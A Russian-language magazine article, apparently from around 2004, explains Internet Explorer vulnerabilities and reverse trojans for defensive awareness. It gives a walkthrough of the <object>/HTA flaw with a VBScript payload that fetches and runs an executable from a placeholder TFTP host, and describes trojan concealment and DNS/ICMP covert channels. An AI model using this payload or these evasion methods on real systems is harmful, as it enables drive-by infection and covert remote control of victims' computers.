Internet Exploiter
АрхивНескольких несложных манипуляций с настройками безопасности ОС Windows XP достаточно, чтобы уберечь систему от лобовых атак. В случае установки файрволла и запрета доставки данных на порты, занятые сервисами системы, о лобовых атаках можно забыть.
Нескольких несложных манипуляций с настройками безопасности ОС Windows XP достаточно, чтобы уберечь систему от лобовых атак. В случае установки файрволла и запрета доставки данных на порты, занятые сервисами системы, о лобовых атаках (как уже известных, так и нет) можно забыть.
Однако существует особый вид опасностей, связанных с многочисленными уязвимостями встроенного в Windows браузера Internet Explorer (IE). Многие читатели наверняка не раз сталкивались с этой проблемой: недобросовестные веб-мастеры не гнушаются получать несанкционированный доступ в личное пространство пользователя и насильственно открывать свои линки спустя некоторое время после того, как пользователь покинул их сайты1. Постепенно входят в моду управляемые вирусы, внедряющиеся с «нехороших» сайтов и выполняющие самые разнообразные задачи. Такие, например, как:
- рассылка спама;
- насильственная реклама;
- подкрутка Интернет-счетчиков;
- распределенный флуд;
- воровство электронных банковских реквизитов.
IE — один из основных компонентов ОС Windows, и многие программы в этой системе используют элементы IE в процессе работы. К таким программам относится, например, почтовый клиент MS Outlook Express, обрабатывающий HTML с помощью соответствующего элемента IE.
Ситуация усугубляется тем, что дыр, найденных в IE, едва ли не больше, чем во всех сервисах операционной системы Windows XP вместе взятых. Кроме того, корпорация Microsoft не всегда быстро и адекватно реагирует на обнаружение очередной дырки в IE2, и поэтому с уверенностью можно утверждать: браузер Internet Explorer уязвим патологически.
Проникновение в систему через дыру в браузере происходит при непосредственном участии пользователя. В отличие от лобовых атак, когда взломщик может лишь долбить порты удаленной системы и его легко остановить при помощи настройки безопасности системы или файрволла, спектр возможностей проникновения через IE весьма широк. Наиболее очевидные способы таковы:
- вступить в электронную переписку с пользователем (например, через Интернет-пейджер ICQ) и заманить его на какой-нибудь сайт в Интернете с заранее приготовленной страничкой, содержащей эксплойт;
- отправить пользователю сообщение в формате HTML, содержащее эксплойт, который сработает при просмотре сообщения почтовым клиентом (а не при открытии, как в случае распространения почтовых червей и тривиальных троянов);
- вставить код эксплойта (HTML-код или картинку) в какой-нибудь веб-форум, периодически посещаемый пользователем (тем самым не возбуждая подозрений, которые могли бы возникнуть при непосредственном контакте).
Уязвимости Internet Explorer можно разделить на две основные группы:
- уязвимости фундаментального свойства (переполнение буферов или адресного пространства программы), позволяющие злоумышленнику внедрять и исполнять код непосредственно в контексте IE (к этой группе можно отнести пресловутую ошибку в парсинге BMP-файлов);
- уязвимости, обеспечивающие проход в локальную зону безопасности и позволяющие взломщику совершать в ней различные манипуляции, вплоть до записи локальных файлов и запуска процессов.
Обратим внимание на следующую тенденцию: количество обнаруживаемых фундаментальных уязвимостей в Internet Explorer постепенно снижается; все больше эксплойтов ориентированы на прохождение в локальную зону безопасности пользователя.
Рассмотрим пример использования одной из самых «живописных» уязвимостей IE, распространяющейся на все основные версии браузера и связанной с некорректной обработкой тега <object>3.
- Internet Explorer загружает HTML-страницу, в теле которой содержится такой HTML-код:
<object data=«http://way/to/get/exploited» width=0 height=0>,
где http://way/to/get/exploited — линк на заранее приготовленный злоумышленником особый объект.
- Internet Explorer создает поток для обработки тегов <object>. Поток обращается по линку way/to/get/exploited, запрашивая у сервера этот объект.
- Сервер, содержащий http://way/to/get/exploited, в заголовке HTTP/1.1-ответа сообщает, что запрашиваемый объект — вовсе не бинарный, а совершенно безопасный текстовый, типа «Content-Type: application/hta», и готовится отдать объект клиенту.
- Поток для обработки тегов <object>, получив ответ от сервера, проверяет возвращенное сервером поле «Content-Type:». В зависимости от возвращенного значения поток решает, как вести себя с содержимым: предложить пользователю сохранить объект на диск, выдать предупреждение или загрузить и исполнить. Поток видит значение «application/hta» и делает вывод, что это безопасный текстовый объект, и без каких бы то ни было предупреждений пользователю загружает и парсит объект.
- Приведенный ниже объект, будучи пропарсенным, загрузит полноценную exe-программу (которая вполне может оказаться, например, реверсивным трояном) и исполнит ее с правами, с которыми Internet Explorer работает в системе, — без каких бы то ни было намеков на недоразумение:
<script language=vbs>
Set shell=CreateObject(«WScript.Shell»)
shell.run(«cmd.exe /c tftp -i XX.XX.XX.XX file.exe && file.exe»)
</script>
где XX.XX.XX.XX — IP-адрес гипотетического Интернет-сервера, имеющего сервис TFTP (Trivial File Transfer Protocol, работающий по протоколу UDP) и готового раздавать file.exe любому желающему по первому запросу. Скрипт подождет завершения клиентской программы tftp.exe и запустит полученный file.exe.
Кстати, пользователям альтернативных браузеров (Opera, Netscape и Mozilla) не стоит расслабляться. Существует множество сообщений о различного рода уязвимостях в перечисленных браузерах (security.nnov.ru/search/soft.asp?sofname=opera, security.nnov.ru/search/soft.asp?sofname=netscape, security.nnov.ru/search/soft.asp?sofname=mozilla). Налицо тенденция: по мере роста популярности браузера количество найденных дыр и уровень возможной опасности, их сопровождающей, увеличивается. Например, почти каждая версия браузера Opera (за исключением самой последней доступной на данный момент версии 7.23) уязвима. В то же время количество и характер уязвимостей браузера Mozilla позволяют сказать, что пользоваться им практически безопасно.
1 Грешат подобной навязчивостью, как правило, порно- и warez-сайты.
2 В начале февраля при анализе украденных кусков исходного кода операционных систем Windows NT и 2000 была найдена уязвимость, связанная с некорректной проверкой границ при парсинге BMP-файлов. Internet Explorer, «увидев» такой специально приготовленный злоумышленником BMP-файл, выполнит заложенный в нем код. Уязвимость распространяется на все версии Internet Explorer’а, дефолтные для систем Windows 9x, NT4 и 2000. К 12 марта корпорация Microsoft так и не выпустила патча, закрывающего эту дыру.
3 О ней можно прочесть в первоисточнике, на сайте команды eEye, обнаружившей уязвимость: www.eeye.com/html/Research/Advisories/AD20030820.html. Сборный патч для основных версий IE, закрывающий эту и другие уязвимости, можно скачать отсюда: www.microsoft.com/technet/security/bulletin/MS03-032.mspx.
Реверсивные трояны
О реверсивных троянских программах следует поговорить отдельно. Термин «троянский конь» (или «троян») в контексте информационных технологий известен каждому. Под троянской программой понимают некий процесс, несанкционированно установленный на удаленной системе и ожидающий некоего события, с возникновением которого он активизируется. Как правило, таким событием является попытка соединения на TCP-порт, проассоциированный с троянской программой. После активизации программа может предоставлять взломщику доступ к командной строке зараженной системы и выполнять ряд функций, заложенных в нее автором. Таким образом, серверная часть трояна находится на удаленной машине, а взломщик в этом контексте является клиентом.
Очевидно, что классическая схема работы трояна становится неэффективной при отсутствии прямой маршрутизации от взломщика до порта, проассоциированного с установленной им троянской программой. Такое становится возможным в ряде случаев:
- если удаленный компьютер находится в пределах сети с локальной адресацией (то есть, по сути, не имеет реального IPv4-адреса);
- если удаленный компьютер находится внутри «демилитаризованной» зоны, исключающей возможность соединения с располагающимися внутри нее компьютерами извне;
- если удаленная машина оснащена межсетевым экраном, запрещающим доставку пакетов всем портам, кроме разрешенных.
Реверсивные же трояны используют обратную схему работы (отсюда и термин «реверсивные»): на удаленной стороне находится клиент, осуществляющий соединение с сервером, который располагается на стороне взломщика. Такой подход требует больше усилий по кодированию и отладке, но позволяет эффективно обходить вышеупомянутые ограничения.
На сегодняшний день известно о реверсивных троянах, соединяющихся с каким-либо веб-сайтом ради поиска инструкций от взломщика в виде html-страниц. Известны трояны, использующие Интернет-пейджер ICQ в качестве пользователя и ожидающие появления сообщений с UIN’а взломщика. Существуют реверсивные трояны, соединяющиеся и поддерживающие соединение с каким-нибудь публичным IRC-сервером, заходящие на заранее определенный канал и ожидающие там появления «хозяина». Схема, предлагаемая технологией реверсивных троянов, довольно гибкая и универсальная, и ограничивается она, пожалуй, лишь фантазией программиста.
Отслеживание установки (посредством уязвимости браузера, например) и тем более поиск уже прописанного в системе реверсивного трояна — весьма непростая задача для рядового пользователя ПК. Если же мы имеем дело с нетривиальным реверсивным трояном, то здесь может встать в тупик даже опытный администратор систем MS Windows, знающий ОС вдоль и поперек. И коль скоро ошибки в браузере — наиболее вероятная возможность подцепить реверсивный троян, безопасности браузера необходимо уделить максимальное внимание. Самую полную и удобную инструкцию по настройке безопасности Internet Explorer в параноидальном режиме безопасности можно найти здесь: www.security.webmoney.ru/asp/default.asp .
Вот чего следует опасаться.
1 Реверсивный троян может прятаться в системе (прописываясь как сервис, что делает невозможным его отслеживание в списке процессов системы) и активизироваться, например, лишь тогда, когда легитимный юзер активно использует ресурсы компьютера, — чтобы не привлекать внимание неуместными «всхлипами» жесткого диска или мерцанием диода сетевой платы.
2 Чтобы осуществить соединение, реверсивный троян может прикинуться Internet Explorer’ом, «Oперой», почтовым клиентом и даже Интернет-пейджером вроде ICQ. Известно много способов маскировки под любой процесс в ОС Windows, и с помощью этого трюка можно обходить продвинутые межсетевые экраны и политики безопасности, регламентирующие список процессов, которые имеют право «ходить» в Интернет.
3 Реверсивный троян может функционировать в качестве драйвера и встраиваться в компонент сетевой операционной системы Windows. Работа реверсивного трояна на этом уровне может обеспечить невидимость его трафика привычными средствами (снифферами, межсетевыми экранами, антивирусами и т. д.).
4 Реверсивный троян может использовать нетривиальные средства для передачи информации: начиная от ICMP Echo Request-сообщений, которые маршрутизируются практически в каждой сети, и заканчивая отправкой особых DNS-сообщений по следующей схеме:
4.1 Гипотетический DNS-сервер, отвечающий за домен второго уровня, скажем crackster.ru, принадлежит взломщику. На этом сервере установлен особый DNS-сервис, способный производить некие нетривиальные операции.
4.2 Жертва отправляет DNS-запрос своему DNS-серверу на разрешение какого-нибудь несуществующего DNS-имени вроде abbracadabbra.crackster.ru.
4.3 DNS-сервер, не найдя такого имени в кэше, пересылает запрос на DNS серверу crackster.ru, который принадлежит взломщику.
4.4 DNS-сервер crackster.ru отправляет ответ DNS-серверу жертвы. В ответе содержится некий список адресов, число которых ограничено размером UDP-датаграммы DNS-ответа.
4.5 DNS-сервер жертвы, получив ответ, фиксирует его в кэше и отправляет жертве.
Этот способ очень непрост в реализации, сильно избыточен и не слишком динамичен, однако можно быть уверенным, что его использование обеспечивает взломщику высокий уровень анонимности.
В заключение отметим, что на сегодняшний день использование уязвимостей клиентского ПО, в том числе и приведенная в статье технология внедрения реверсивных троянов, является одной из самых «перспективных» технологий взлома защищенных корпоративных информационных систем. Она позволяет проникнуть даже на хорошо защищенные объекты (пример: www.dsec.ru/services/ReportEx2.zip), так как их администраторы больше озабочены защитой внешнего периметра, забывая про клиентское ПО и безопасность пользователей, что сегодня совершенно недопустимо.